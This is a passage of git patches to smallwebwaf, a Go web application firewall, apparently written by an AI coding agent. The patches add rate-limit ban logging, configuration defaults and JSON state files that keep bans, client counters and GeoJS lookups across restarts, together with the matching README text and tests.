@@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) { } } +func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range limit { + _, over := limiter.Count(client, start) + if over { + t.Fatal("a request within the limit is over it") + } + } + + // Over both limits; the minute's is named, with the four requests. + hit, over := limiter.Count(client, start) + + want := ratelimit.Hit{Window: minute, Limit: limit, Requests: limit + 1} + if !over || hit != want { + t.Errorf("request over the limit gives %+v and %t, want %+v and true", + hit, over, want) + } +} + +func TestResetSetsTheCountsBackToZero(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range limit { + wantCount(t, limiter, client, start, "") + } + + wantCount(t, limiter, client, start, minute) + limiter.Reset(client) + + // At the same moment, the client has its whole allowance again. + for range limit { + wantCount(t, limiter, client, start, "") + } + + wantCount(t, limiter, client, start, minute) +} + func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) { t.Parallel() @@ -192,9 +238,9 @@ func wantCount( ) { t.Helper() - got := limiter.Count(client, now) - if got != want { + hit, _ := limiter.Count(client, now) + if hit.Window != want { t.Errorf("request from %s at %s is over %q, want %q", - client, now.Format(time.RFC3339), got, want) + client, now.Format(time.RFC3339), hit.Window, want) } } diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 3ada61e..638088d 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -24,8 +24,10 @@ const ( // for, or whose answer could not be passed on. ActionUpstreamError = "upstream_error" // ActionRateLimited is a request refused because it took its client - // over a rate limit, or came while the client was over one. + // over a rate limit, which bans the client. ActionRateLimited = "rate_limited" + // ActionBanned is a request refused because a ban covers its client. + ActionBanned = "banned" // ActionDenied is a request refused because its client is in // SWWAF_DENY_NETS. ActionDenied = "denied" @@ -36,6 +38,10 @@ const ( ActionAdmin = "admin" ) +// OffenceLimit is the offence a request line names for a request that +// broke a rate limit. +const OffenceLimit = "limit" + // timeLayout is RFC 3339 with milliseconds. const timeLayout = "2006-01-02T15:04:05.000Z07:00" @@ -64,6 +70,11 @@ type Line struct { // LimitHit is the window whose rate limit the request went over: // minute, hour or day. LimitHit string `json:"limit_hit,omitempty"` + // Offence is the offence the request was held as, OffenceLimit. + Offence string `json:"offence,omitempty"` + // BanExpires is when the ban the request made, or was refused under, + // ends: a time, or "permanent". + BanExpires string `json:"ban_expires,omitempty"` // Aborted is true when the client went away early. Aborted bool `json:"aborted,omitempty"` // DurationTotal and DurationUpstreamTotal are in milliseconds. diff --git a/internal/requestlog/requestlog_test.go b/internal/requestlog/requestlog_test.go index a2d0003..897f4b7 100644 --- a/internal/requestlog/requestlog_test.go +++ b/internal/requestlog/requestlog_test.go @@ -50,7 +50,8 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) { } unset := []string{ - "upstream_status", "limit_hit", "aborted", "duration_upstream_total", + "upstream_status", "limit_hit", "offence", "ban_expires", "aborted", + "duration_upstream_total", } for _, name := range unset { _, present := fields[name] diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index c3fec11..f17c9c2 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -80,6 +80,7 @@ func Run(ctx context.Context, params Params) int { RequestLog: params.Stdout, ProcessLog: processLog, GeoJSURL: lookup.URL, + Now: time.Now, }) processLog.Info("starting", diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index a7ef08c..8c67e45 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -196,6 +196,12 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL string) { "SWWAF_RATE_LIMIT_PER_DAY": "50000", "SWWAF_DENIED_COUNTRIES": "", "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "", + "SWWAF_BAN_RESPONSE": "403", + "SWWAF_LIMIT_BAN_DURATION": "1h", + "SWWAF_LIMIT_BAN_REPEAT_WINDOW": "24h", + "SWWAF_MAX_BAN_DURATION": "7d", + "SWWAF_MAX_BANS": "5000", + "SWWAF_BAN_SCOPE_V4_PREFIX": "32", } for name, value := range want { From df2c5042d2b34415d1eb7fd3700fea65be3ae050 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 08:31:52 +0200 Subject: [PATCH 19/64] Keep the bans, the clients and GeoJS's answers in state files (closes #17) smallwebwaf now copies its state to bans.json, clients.json and lookups.json in SWWAF_STATE_DIR, as "Persistent state" in SPEC.md describes, and reads them back at start, so a restart lifts no ban and gives no client a fresh allowance. Each client gains a history, and a ban's notes count the netblock's requests. bans.json is written SWWAF_STATE_WRITE_DELAY after a ban, and every file every SWWAF_STATE_COUNTER_INTERVAL and at the stop. A ban read back is masked to its netblock and refuses every client in it. A file that does not parse, an unknown version, an entry without a field it needs, or an unwritable directory stops the start. Deviation: no AS number or name, and no ban cause, reason or lifting yet. Model: opus-5-5 --- Dockerfile | 5 + README.md | 164 ++++-- internal/bans/bans.go | 188 +++++-- internal/bans/bans_test.go | 22 +- internal/bans/snapshot_test.go | 193 +++++++ internal/config/config.go | 24 + internal/config/config_test.go | 26 +- internal/lookup/lookup.go | 78 ++- internal/lookup/snapshot_test.go | 96 ++++ internal/proxy/bans.go | 11 +- internal/proxy/bans_test.go | 9 +- internal/proxy/export_test.go | 15 - internal/proxy/history_test.go | 103 ++++ internal/proxy/proxy.go | 90 ++-- internal/proxy/proxy_test.go | 2 +- internal/proxy/request.go | 19 + internal/ratelimit/history_test.go | 116 +++++ internal/ratelimit/ratelimit.go | 291 +++++++++-- internal/ratelimit/snapshot_test.go | 122 +++++ internal/smallwebwaf/healthcheck_test.go | 10 +- internal/smallwebwaf/smallwebwaf.go | 81 ++- internal/smallwebwaf/smallwebwaf_test.go | 268 +++++++++- internal/state/state.go | 492 ++++++++++++++++++ internal/state/state_test.go | 635 +++++++++++++++++++++++ script/example-app | 55 +- script/run | 8 +- share/smallwebwaf.run | 8 +- 27 files changed, 2859 insertions(+), 272 deletions(-) create mode 100644 internal/bans/snapshot_test.go create mode 100644 internal/lookup/snapshot_test.go delete mode 100644 internal/proxy/export_test.go create mode 100644 internal/proxy/history_test.go create mode 100644 internal/ratelimit/history_test.go create mode 100644 internal/ratelimit/snapshot_test.go create mode 100644 internal/state/state.go create mode 100644 internal/state/state_test.go diff --git a/Dockerfile b/Dockerfile index f38bdcb..5267b36 100644 --- a/Dockerfile +++ b/Dockerfile @@ -162,6 +162,11 @@ RUN groupadd --system --gid 65532 smallwebwaf \ --gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \ smallwebwaf +# The state files' directory, SWWAF_STATE_DIR by default, where a volume +# is mounted to keep them across deploys. The run script gives it to the +# smallwebwaf user at each start. +RUN mkdir /var/lib/smallwebwaf + # runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv # looks too. COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run diff --git a/README.md b/README.md index 0ae8018..43c006b 100644 --- a/README.md +++ b/README.md @@ -13,18 +13,19 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are three parts of -milestone 3: the static lists and the bans that broken rate limits lead to, -which come next in the build order, and the header size and the idle time as -settings, which come last in it. `smallwebwaf` passes each request to the app -and the app's answer back, unchanged, within its timeouts and size limits, works -out each client's address, bans a client that sends too many requests, refuses a -client that comes from a country you refuse or from a network you refuse, lets -the networks you choose through, and writes a JSON log line for every request. -It comes as the image the app's own image is built on. The rest of the design -comes after that, in the order of the build order in [`SPEC.md`](SPEC.md). The -survey of existing tools that led to the design is in -[`EVALUATION.md`](EVALUATION.md). +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are four parts of +milestone 3: the static lists, the bans that broken rate limits lead to and the +JSON state files, which come next in the build order, and the header size and +the idle time as settings, which come last in it. `smallwebwaf` passes each +request to the app and the app's answer back, unchanged, within its timeouts and +size limits, works out each client's address, bans a client that sends too many +requests, refuses a client that comes from a country you refuse or from a +network you refuse, lets the networks you choose through, keeps its bans, each +client's counters and history, and GeoJS's answers in JSON files across +restarts, and writes a JSON log line for every request. It comes as the image +the app's own image is built on. The rest of the design comes after that, in the +order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools +that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -46,7 +47,8 @@ works. To work on the code, `make build` builds the binary alone, with Go installed, and `make run` builds and runs it, listening on port 8080 in front of an app at -`SWWAF_UPSTREAM_URL`, by default `http://127.0.0.1:8081`. +`SWWAF_UPSTREAM_URL`, by default `http://127.0.0.1:8081`, with its state files +in `bin/state` unless `SWWAF_STATE_DIR` is set. ## What it does so far @@ -77,8 +79,9 @@ and `make run` builds and runs it, listening on port 8080 in front of an app at bans the client. A client is one IPv4 address, or one IPv6 /64, since one abuser usually holds a whole /64. Each window is counted in two fixed buckets, the earlier one weighted by how much of it the window still covers. At most - 20,000 clients are kept, the least recently seen dropped first, and only in - memory: a restart starts every client afresh. + 20,000 clients are kept, the least recently seen dropped first, with their + history, and a restart gives no client a fresh allowance (see "State files" + below). - Bans a client that breaks a rate limit, as "Bans" in [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit broken again within a day of a ban ending bans for three times as long as that ban, so 1, 3, 9, 27 and @@ -90,13 +93,13 @@ and `make run` builds and runs it, listening on port 8080 in front of an app at is not counted for the rate limits. A ban sets the client's counters back to zero. Each ban carries notes for deciding whether to lift it: the limit, its window and the requests counted in it, the request that broke it, the client's - country when it was looked up, how many requests the ban has refused, and how - many bans the netblock had before. At most `SWWAF_MAX_BANS` bans are kept, - past, active and permanent; past that, the earliest ban of the netblock that - has gone longest without a request is dropped first. Bans and their notes are - kept in memory only, so a restart lifts every ban, and nothing shows them yet: - `bans.json`, which shows them and lets you lift a ban, comes with the state - files (https://git.eeqj.de/sneak/smallwebwaf/issues/17). + country when it was looked up, the netblock's requests since it was first + seen, how many of them the ban has refused, and how many bans the netblock had + before. At most `SWWAF_MAX_BANS` bans are kept, past, active and permanent; + past that, the earliest ban of the netblock that has gone longest without a + request is dropped first. `bans.json` shows the bans and their notes, and a + restart lifts none (see "State files" below); lifting a ban by editing it + comes with https://git.eeqj.de/sneak/smallwebwaf/issues/68. - Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon as the client's country is known and before its body is read; such a request is not counted for the rate limits. While one of the country lists below is @@ -184,6 +187,13 @@ it, and the effective settings are logged at start. - `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): the length of the netblock around an IPv4 client that a ban covers, such as `24` to ban the surrounding /24. An IPv6 ban covers the client's /64. +- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state + files, an absolute path. A directory `smallwebwaf` cannot write stops the + start. +- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long after a ban is made + `bans.json` is written, with every ban made in between. +- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is + written. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 @@ -193,12 +203,13 @@ ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a code on both country lists. `off` switches a timeout, a size limit or a rate limit off; -`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` and the ban settings cannot be off. +`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban settings and the state settings +cannot be off. -Several limits are fixed rather than settings. At most 20,000 clients are kept -for the rate limits, and an IPv6 client is counted by its /64. A new client -waits at most a second for its country, and at most 100,000 answers from GeoJS -are kept, for 7 days each. +Several limits are fixed rather than settings. At most 20,000 clients are kept, +with their counters and history, and an IPv6 client is counted by its /64. A new +client waits at most a second for its country, and at most 100,000 answers from +GeoJS are kept, for 7 days each. ## Request log @@ -246,6 +257,48 @@ which it answers `431`, headers slower than `SWWAF_CLIENT_REQUEST_TIMEOUT`, whose connection it closes without an answer, and requests it cannot read at all, which it answers itself, mostly with `400`. +## State files + +`smallwebwaf` keeps its state in memory and a copy of it in three JSON files in +`SWWAF_STATE_DIR`, `/var/lib/smallwebwaf` by default, as "Persistent state" in +[`SPEC.md`](SPEC.md) describes. Each has a top-level `version`, 1, and lists its +entries by client address, with times in UTC. + +- `bans.json`: every ban with its notes, indented to be read; a permanent ban's + `expires` is `null`. +- `clients.json`: each client's two buckets in the minute, the hour and the day, + and its history: when it was first and last seen, its country as last looked + up and when, its requests, how many were forwarded and how many refused, the + body bytes in each direction, its responses by status class and its offences + by kind. Each client is on a line of its own, so `grep` shows everything about + one. +- `lookups.json`: GeoJS's answers, one to a line, with when GeoJS gave each and + when it was last used. + +`bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, with every +ban made in between, and every file every `SWWAF_STATE_COUNTER_INTERVAL` and +when `smallwebwaf` stops. Each write goes to a temporary file in the same +directory, which then replaces the file, so a crash leaves the old file or the +new one, whole. A write that fails is logged, and tried again at the next write. +A hard kill loses what changed since the last write. + +At start the files are read back: each client keeps its counts, so a restart +gives it no fresh allowance, and each ban keeps refusing every client in its +netblock until it ends, even after `SWWAF_BAN_SCOPE_V4_PREFIX` has changed. A +netblock whose address has bits past its length, such as `203.0.113.9/24`, is +read as the netblock it is in, `203.0.113.0/24`. Buckets and answers whose time +has passed are dropped. A missing file is empty state, as on a first start. A +file that does not parse, or has another `version`, stops the start with a +message naming the file, and the line and column where Go's JSON decoder gives +them; so does a state directory `smallwebwaf` cannot write. So does an entry +without a field it needs, named with the entry's place in the file: a ban's +`netblock`, `start` or `expires`, which is `null` for a permanent ban; a +client's `client`, or the `start` of a window in which it has requests; an +answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or +`answered`. An edit made while `smallwebwaf` runs is overwritten by its next +write: taking it in comes with https://git.eeqj.de/sneak/smallwebwaf/issues/68. +The AS number and AS name come with their lookup. + ## Why Small self-hosted sites now receive a great deal of traffic nobody asked for: @@ -347,9 +400,9 @@ goes through the candidates one by one. readable JSON files, written regularly and at every stop, so a restart loses nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks up the change. Nothing is read from disk while serving a request. The files - come in milestone 3 or later (see the build order in [`SPEC.md`](SPEC.md)); - until then the rate counters, the bans and the GeoJS answers are kept in - memory only, and a restart loses them. + for the bans, the clients and the GeoJS answers are built (see "State files" + above); the others come with their features, and taking in an edit while + running comes with https://git.eeqj.de/sneak/smallwebwaf/issues/68. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -445,8 +498,9 @@ main "$@" the health check on `127.0.0.1`. - `smallwebwaf` keeps its state files in `/var/lib/smallwebwaf`. Mount a volume there to keep bans and client history when a deploy replaces the container; - without one, it still starts. The state files come in milestone 3 or later; - until then it writes nothing to disk and needs no volume. + without one, it still starts. At each start the `run` script of `smallwebwaf` + gives that directory and every file in it to the `smallwebwaf` user, so a host + directory mounted there needs no change of owner. - `docker stop` has runit stop both processes. `smallwebwaf` then stops taking requests and gives those in progress five seconds to finish. @@ -484,11 +538,10 @@ client, for the request log, the metrics and the ban notes, and for the country lists and biased limits when you set them. It works with no setup: by default it asks the free GeoJS web service, which needs no account and no file. This means that, by default, the address of every new visitor is sent to GeoJS. Each answer -is kept in memory for seven days, and many addresses are asked about in one -request; writing the answers to disk, so that they survive a restart, comes in -milestone 3 or later (see the build order in [`SPEC.md`](SPEC.md)). GeoJS -publishes no rate limit but may block a caller it thinks asks too much; while it -is not answering, new visitors count as coming from an unknown country, which +is kept for seven days, in memory and in `lookups.json`, so that it survives a +restart, and many addresses are asked about in one request. GeoJS publishes no +rate limit but may block a caller it thinks asks too much; while it is not +answering, new visitors count as coming from an unknown country, which `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses. To keep your visitors' addresses on your own host, set @@ -519,9 +572,10 @@ addresses are never sent to GeoJS. ## How the code is laid out - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. -- `internal/smallwebwaf`: the process: it reads the settings, listens, serves - requests until `SIGTERM` or `SIGINT`, and stops. Run as - `smallwebwaf healthcheck`, it is the image's health check instead. +- `internal/smallwebwaf`: the process: it reads the settings and the state + files, listens, serves requests until `SIGTERM` or `SIGINT`, and stops, + writing the state files. Run as `smallwebwaf healthcheck`, it is the image's + health check instead. - `internal/config`: reads the settings, the one place they are read. - `internal/proxy`: what happens to each request: it works out the client, runs the checks, passes the request to the app and the answer back with the @@ -534,8 +588,10 @@ addresses are never sent to GeoJS. long a new ban lasts, and which ban is dropped when `SWWAF_MAX_BANS` are held. - `internal/lookup`: looks up each client's country through GeoJS, and keeps the answers. -- `internal/ratelimit`: counts each client's requests and tells when one takes - it over a rate limit. +- `internal/ratelimit`: the table of clients: counts each client's requests, + tells when one takes it over a rate limit, and keeps each client's history. +- `internal/state`: reads the state files at start, and writes them when they + are due and at the stop. - `internal/requestlog`: the lines on stdout: the request log line and the process's own messages. - `Dockerfile`: the lint and test phases, then the image, whose last stage @@ -576,20 +632,24 @@ so that they run in minimal containers. - `script/install-precommit`: installs that hook; `make hooks` runs it. - `script/build`: builds `bin/smallwebwaf` on the host, with Go installed, for working on the code by hand; `make build` runs it. -- `script/run`: builds `bin/smallwebwaf` with `script/build` and runs it; - `make run` runs it. +- `script/run`: builds `bin/smallwebwaf` with `script/build` and runs it, with + its state files in `bin/state` unless `SWWAF_STATE_DIR` is set; `make run` + runs it. - `script/example-app`: builds the image and, on it, the example app in - `deploy/example-app`, runs it, and checks that the health check passes, that a - request reaches the app through `smallwebwaf`, and that `sv stop` and - `docker stop` stop it in order; then removes the container and both images. It - needs network access, for nixpkgs' binary cache, and `script/check` does not - run it; `make example-app` does. + `deploy/example-app`, runs it with a volume for the state files, and checks + that the health check passes, that a request reaches the app through + `smallwebwaf`, that a second request in a minute bans the client, that + `sv stop` and `docker stop` stop it in order, and that a new container on the + same volume still refuses the banned client; then removes the containers, the + volume and both images. It needs network access, for nixpkgs' binary cache, + and `script/check` does not run it; `make example-app` does. ## TODO -- The rest of milestone 3, after the bans that broken rate limits lead to and up - to the metrics endpoint, and the rest of the design, in the order of the build - order in [`SPEC.md`](SPEC.md). +- The rest of milestone 3, from taking in an admin's edits to the state files + (https://git.eeqj.de/sneak/smallwebwaf/issues/68) up to the metrics endpoint, + and the rest of the design, in the order of the build order in + [`SPEC.md`](SPEC.md). ## Documents diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 4878cf0..647f3c0 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,6 +1,7 @@ // Package bans is the ban ledger: the bans smallwebwaf makes on the // netblocks of clients that break a rate limit, with their notes, as the -// "Bans" section of SPEC.md describes. The bans are kept in memory only. +// "Bans" section of SPEC.md describes. The bans are kept in memory, and +// written to bans.json and read from it by the state package. package bans import ( @@ -58,48 +59,65 @@ func (b Ban) ActiveAt(now time.Time) bool { return b.Permanent() || now.Before(b.Expires) } -// Notes are what an admin needs to decide whether to lift a ban. +// Notes are what an admin needs to decide whether to lift a ban. The +// JSON names are those of bans.json. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does type Notes struct { // Country is the client's country, when it was looked up. - Country string + Country string `json:"country"` // Limit, Window and Count are the limit that was broken, its window, // "minute", "hour" or "day", and the count reached: the client's // requests in the window, the one that broke the limit included. // These are the requests that counted toward the ban, and the window // is the time over which they came. - Limit int64 - Window string - Count float64 + Limit int64 `json:"limit"` + Window string `json:"window"` + Count float64 `json:"count"` // Request is the request that broke the limit. - Request Request - // Refused is how many requests the ban has refused so far. - Refused int64 + Request Request `json:"request"` + // Requests is how many requests the netblock has sent since it was + // first seen, and Refused how many of them the ban has refused so + // far. Both go up with each request the ban refuses. + Requests int64 `json:"requests"` + Refused int64 `json:"refused"` // EarlierBans is how many bans the netblock had before this one. - EarlierBans int + EarlierBans int `json:"earlier_bans"` } // Request is a request in a ban's notes. Each text is cut to 256 bytes. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does type Request struct { - Time time.Time - Method string - Host string + Time time.Time `json:"time"` + Method string `json:"method"` + Host string `json:"host"` // Path is the path with its query string. - Path string + Path string `json:"path"` // Status is what the client was sent, 0 if nothing was. - Status int - UserAgent string + Status int `json:"status"` + UserAgent string `json:"user_agent"` } // Ledger holds the bans. It is safe for concurrent use. type Ledger struct { rules Rules + // changed receives a value when a ban is made, unless one is waiting + // already. + changed chan struct{} mu sync.Mutex - // netblocks holds each banned netblock's bans, oldest first. Each - // request from a netblock makes it the most recently seen. + // netblocks holds each banned netblock's bans, oldest first. Check + // makes each netblock it finds the most recently seen. netblocks *simplelru.LRU[netip.Prefix, *[]Ban] // held is how many bans netblocks holds, at most rules.MaxBans. held int + // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 + // netblocks that have been banned. Check looks for a ban at each of + // them, so that a ban read from bans.json refuses every client in its + // netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX, + // or another length of an IPv6 client's netblock. + v4Lengths, v6Lengths []int } // New returns a Ledger with no ban yet. @@ -111,31 +129,49 @@ func New(rules Rules) *Ledger { panic(err) // NewLRU fails only for a size below one } - return &Ledger{rules: rules, netblocks: netblocks} + return &Ledger{ + rules: rules, + changed: make(chan struct{}, 1), + netblocks: netblocks, + } } -// Check is called for each request from netblock, at now. It reports -// whether a ban on netblock is active, and returns that ban, with the -// request counted among those it refused. -func (l *Ledger) Check(netblock netip.Prefix, now time.Time) (Ban, bool) { +// Changed receives a value after a ban is made, so that bans.json can be +// written. Several bans made before it is read leave one value. +func (l *Ledger) Changed() <-chan struct{} { + return l.changed +} + +// Check is called for each request from client, at now. It reports +// whether a ban on a netblock client is in is active, and returns that +// ban, with the request counted among those it refused. +func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool) { l.mu.Lock() defer l.mu.Unlock() - bans, found := l.netblocks.Get(netblock) - if !found { - return Ban{}, false + lengths := l.v6Lengths + if client.Is4() { + lengths = l.v4Lengths } - // A ban is made only once the one before has ended, so only the last - // can be active. - last := &(*bans)[len(*bans)-1] - if !last.ActiveAt(now) { - return Ban{}, false + for _, length := range lengths { + bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked()) + if !found { + continue + } + + // A ban is made only once the one before has ended, so only the + // last can be active. + last := &(*bans)[len(*bans)-1] + if last.ActiveAt(now) { + last.Notes.Requests++ + last.Notes.Refused++ + + return *last, true + } } - last.Notes.Refused++ - - return *last, true + return Ban{}, false } // BanForLimit bans netblock at now for a broken limit, with notes, and @@ -169,21 +205,13 @@ func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) Expires: l.expiry(last, now), Notes: notes, } + l.add(ban) - if l.held == l.rules.MaxBans { - l.dropOne() + select { + case l.changed <- struct{}{}: + default: // a value is waiting already } - // dropOne can have dropped netblock's last ban, and netblock with it. - bans, found = l.netblocks.Peek(netblock) - if !found { - bans = &[]Ban{} - l.netblocks.Add(netblock, bans) - } - - *bans = append(*bans, ban) - l.held++ - return ban } @@ -201,6 +229,74 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { return slices.Clone(*bans) } +// Snapshot returns every ban held, sorted by netblock, and each +// netblock's bans oldest first, as bans.json lists them. +func (l *Ledger) Snapshot() []Ban { + l.mu.Lock() + defer l.mu.Unlock() + + held := make([]Ban, 0, l.held) + for _, bans := range l.netblocks.Values() { + held = append(held, *bans...) + } + + slices.SortStableFunc(held, func(a, b Ban) int { + return a.Netblock.Compare(b.Netblock) + }) + + return held +} + +// Load puts bans read from bans.json into a ledger that holds none yet, +// in the order they started, so that a netblock whose last ban started +// latest counts as the most recently seen. Each netblock is masked to its +// length, so that 203.0.113.9/24 is 203.0.113.0/24, and each text in the +// notes is cut to 256 bytes. Past MaxBans the earliest bans are dropped, +// as when they are made. +func (l *Ledger) Load(bans []Ban) { + l.mu.Lock() + defer l.mu.Unlock() + + bans = slices.Clone(bans) + slices.SortStableFunc(bans, func(a, b Ban) int { + return a.Start.Compare(b.Start) + }) + + for _, ban := range bans { + ban.Netblock = ban.Netblock.Masked() + ban.Notes.Request = ban.Notes.Request.cut() + l.add(ban) + } +} + +// add adds ban to its netblock's bans, after the last, and makes its +// netblock the most recently seen. With MaxBans held, it drops one first. +func (l *Ledger) add(ban Ban) { + if l.held == l.rules.MaxBans { + l.dropOne() + } + + // dropOne can have dropped the netblock's last ban, and the netblock + // with it. + bans, found := l.netblocks.Get(ban.Netblock) + if !found { + bans = &[]Ban{} + l.netblocks.Add(ban.Netblock, bans) + } + + *bans = append(*bans, ban) + l.held++ + + lengths := &l.v6Lengths + if ban.Netblock.Addr().Is4() { + lengths = &l.v4Lengths + } + + if !slices.Contains(*lengths, ban.Netblock.Bits()) { + *lengths = append(*lengths, ban.Netblock.Bits()) + } +} + // expiry returns when a ban for a broken limit made at now ends, or zero // when it is permanent. last is the netblock's last ban, which has ended, // or nil when it has none. diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index f0394ef..897bc3b 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -39,7 +39,7 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) { t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires) } - _, banned := ledger.Check(netblock, now.Add(100*365*day)) + _, banned := ledger.Check(netblock.Addr(), now.Add(100*365*day)) if !banned { t.Error("a permanent ban ended") } @@ -135,28 +135,30 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { ledger := bans.New(defaultRules()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) for range 3 { - got, banned := ledger.Check(netblock, ban.Expires.Add(-time.Nanosecond)) + got, banned := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) if !banned || got.Start != ban.Start { t.Fatalf("check during the ban gives %+v and %t", got, banned) } } - _, banned := ledger.Check(netip.MustParsePrefix("203.0.113.10/32"), midnight()) + _, banned := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight()) if banned { t.Error("another netblock is banned") } - _, banned = ledger.Check(netblock, ban.Expires) + _, banned = ledger.Check(netblock.Addr(), ban.Expires) if banned { t.Error("the ban did not end") } - refused := ledger.Bans(netblock)[0].Notes.Refused - if refused != 3 { - t.Errorf("the notes count %d refused requests, want 3", refused) + // The netblock's requests went from 5 to 8 with the three refused. + notes := ledger.Bans(netblock)[0].Notes + if notes.Refused != 3 || notes.Requests != 8 { + t.Errorf("the notes count %d refused requests of %d, want 3 of 8", + notes.Refused, notes.Requests) } } @@ -178,7 +180,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { // A request from a makes b the netblock seen longest ago, and its ban // goes to make room for d's. - ledger.Check(a, now) + ledger.Check(a.Addr(), now) ledger.BanForLimit(d, now, bans.Notes{}) wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 0, c: 1, d: 1}) @@ -188,7 +190,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { // With d seen since, a is seen longest ago, and its earlier ban goes // first. - ledger.Check(d, first.Expires) + ledger.Check(d.Addr(), first.Expires) ledger.BanForLimit(b, first.Expires, bans.Notes{}) wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go new file mode 100644 index 0000000..873b196 --- /dev/null +++ b/internal/bans/snapshot_test.go @@ -0,0 +1,193 @@ +package bans_test + +import ( + "net/netip" + "slices" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" +) + +func TestChangedAfterABanIsMade(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + + wantChanged(t, ledger, false) + + ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + wantChanged(t, ledger, true) + + // A limit broken during the ban makes no other, and a refusal changes + // only the counts in the notes, which wait for the interval's write. + ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + ledger.Check(netblock.Addr(), midnight().Add(time.Minute)) + wantChanged(t, ledger, false) + + // Two bans before the value is read leave one. + ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{}) + ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{}) + wantChanged(t, ledger, true) + wantChanged(t, ledger, false) +} + +func TestSnapshotListsEveryBanByNetblock(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + v6 := netip.MustParsePrefix("2001:db8::/64") + high := netip.MustParsePrefix("203.0.113.10/32") + low := netip.MustParsePrefix("203.0.113.9/32") + + first := ledger.BanForLimit(v6, midnight(), bans.Notes{}) + ledger.BanForLimit(high, midnight(), bans.Notes{}) + ledger.BanForLimit(low, midnight(), bans.Notes{}) + 